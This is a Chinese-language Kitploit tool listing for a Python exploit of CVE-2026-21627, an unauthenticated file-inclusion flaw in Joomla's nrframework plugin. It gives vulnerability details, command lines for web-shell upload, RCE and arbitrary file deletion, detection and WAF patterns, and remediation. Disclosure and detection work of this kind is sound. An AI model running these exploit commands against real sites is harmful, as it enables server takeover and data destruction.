Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla — Python 针对 CVE-2026-21627 的漏洞利用程序,该漏洞是 Joomla 的 Novarain Framework 中一个未经验证的任意 PHP 文件包含漏洞,可实现文件上传、删除和远程代码执行(RCE)。 | Kitploit
工具/GitHubGitHub/yallasec/cve-2026-21627---tassos-novarain-framework-plg_system_nrframework-exploit---joomla
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubyallasec/cve-2026-21627---tassos-novarain-framework-plg_system_nrframework-exploit---joomla

CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla

Python 针对 CVE-2026-21627 的漏洞利用程序,该漏洞是 Joomla 的 Novarain Framework 中一个未经验证的任意 PHP 文件包含漏洞,可实现文件上传、删除和远程代码执行(RCE)。

查看仓库
6个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-21627

Joomla 的 Novarain 框架(nrframework)中存在未认证的任意文件包含漏洞

CVSS Joomla Python


概述

Tassos/Novarain 框架(plg_system_nrframework)Joomla 插件中存在一个严重漏洞,允许未认证的攻击者在服务器上包含任意 PHP 文件、实例化任意类,并与内置的 gadget 类链式利用,从而实现任意文件上传和任意文件删除——全程无需认证。

CVE IDCVE-2026-21627
CVSS 评分9.5(严重)
插件plg_system_nrframework(Tassos 框架 / Novarain 框架)
受影响版本4.10.14 至 6.0.37
修复版本6.0.38+
CMSJoomla 3.x、4.x、5.x

nrframework 插件随 Tassos.gr 的多款热门 Joomla 扩展一同分发,包括 Convert Forms、Engage Box、Google Structured Data 等。

漏洞详情

nrframework.php 中的 ajaxTaskInclude() 方法通过 $non_admin_tasks 数组被明确列入前端(非管理员)访问白名单。它接受三个用户可控的参数:

  • path — 使用 RAW 输入过滤器(零过滤,可进行路径遍历)
  • file — 使用 Joomla 默认输入过滤器
  • class — 包含后要实例化的类名

拼接后的路径 $path . $file . '.php' 被直接传递给 @include_once,从而实现任意 PHP 文件包含。包含后,指定的类会被实例化,其 onAJAX() 方法会以用户可控的参数被调用。

攻击原语

原语Gadget严重程度描述
文件包含ajaxTaskInclude()严重包含服务器上的任意 .php 文件
文件删除JFormFieldNRInlineFileUpload::onRemove()严重unlink() 无路径验证——可删除 Web 服务器可写的任意文件
文件上传JFormFieldNRInlineFileUpload::onUpload()高将文本文件上传到任意可写的 Web 可访问目录
路径泄露上传响应中JSON 响应中泄露完整文件系统路径

使用方法

root@kitploit:~
python3 cve_2026_21627.py --target <URL> --mode <MODE> [OPTIONS]

模式

模式描述风险
verify确认漏洞是否存在安全 / 只读
upload将文件上传到受控目录中
delete删除服务器上的任意文件破坏性
rce尝试完整的 RCE 链(上传 + 执行)高
info包含任意 PHP 文件用于侦察中

示例

验证漏洞:

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode verify

上传概念验证文件:

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type txt

上传 SSI shell(需要 Apache mod_include):

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml

尝试 RCE 链:

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode rce --cmd "id"

删除文件(破坏性):

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt

选项

root@kitploit:~
--target, -t       目标 URL(必填)
--mode, -m         利用模式:verify|upload|delete|rce|info(必填)
--sef-prefix       Joomla SEF URL 前缀(默认:/it/)
--delay            请求之间的延迟秒数(默认:2.5)
--proxy            HTTP 代理(例如 http://127.0.0.1:8080)
--no-ssl-verify    禁用 SSL 证书验证

上传模式:
  --shell-type     文件类型:shtml|csv|txt|html(默认:shtml)
  --upload-dir     相对于 JPATH_ROOT 的上传目录(默认:images)
  --custom-content 要上传的自定义文件内容

删除模式:
  --file-path      要删除文件的完整服务器路径

RCE 模式:
  --cmd            要执行的命令(默认:id)

信息模式:
  --php-path       相对于 JPATH_SITE 的 PHP 文件路径
  --php-file       不带 .php 扩展名的 PHP 文件名
  --php-class      要实例化的 PHP 类

工作原理

root@kitploit:~
┌──────────────┐    ┌───────────────────┐    ┌─────────────────────┐
│   攻击者     │───>│  onAjaxNrframework │───>│  ajaxTaskInclude()  │
│              │    │  (AJAX 路由器)    │    │                     │
│ task=include │    │  include 位于      │    │ path = RAW 输入     │
│ path=...     │    │  $non_admin_tasks  │    │ @include_once $path │
│ file=...     │    │  (无需认证)       │    │ new $class()->onAJAX│
│ class=...    │    └───────────────────┘    └──────────┬──────────┘
└──────────────┘                                        │
                                                        v
                               ┌─────────────────────────────────────┐
                               │  JFormFieldNRInlineFileUpload       │
                               │  (gadget 类)                      │
                               │                                     │
                               │  onAjax() ──> onUpload()  [写入]    │
                               │           ──> onRemove()  [删除]    │
                               └─────────────────────────────────────┘
  1. 会话与 CSRF — Joomla 会惰性创建会话。利用程序通过探测 AJAX 端点触发会话创建,然后从首页 HTML 中提取 CSRF 令牌。
  2. 文件包含 — 以受控的 path(RAW 过滤器 = 无过滤)调用 include 任务,指向 gadget 文件。
  3. Gadget 执行 — 被包含的 JFormFieldNRInlineFileUpload 类提供 onUpload() 用于文件写入和 onRemove() 用于文件删除,两者均存在输入验证不足的问题。

环境要求

  • Python 3.7+
  • requests 库
root@kitploit:~
pip install requests

检测

监控访问日志以发现利用尝试:

root@kitploit:~
# Apache/Nginx 日志模式
grep -E "option=com_ajax.*plugin=nrframework.*task=include" access.log

WAF 规则 — 阻止匹配以下模式的请求:

root@kitploit:~
option=com_ajax.*plugin=nrframework.*task=include.*path=

入侵后审计:

  • 检查 images/ 和其他可写目录中是否有意外文件
  • 验证 configuration.php 和 .htaccess 的完整性
  • 查看服务器错误日志中的 @include_once 警告

修复措施

  1. 立即更新 nrframework 至 6.0.38 或更高版本
  2. 该补丁完全移除了 ajaxTaskInclude(),并替换为严格的处理程序注册表(AjaxHandlerRegistry)

时间线

日期事件
2026-02在授权渗透测试期间发现漏洞
2026-02创建利用程序
2026-02公开披露

免责声明

本工具仅供授权安全测试和教育目的使用。仅可对您拥有明确书面授权测试的系统使用此利用程序。未经授权访问计算机系统属于违法行为。作者对滥用行为不承担任何责任。

作者

Yallasec — yallasec.com

Arcangelo Saracino — @arkango

下载工具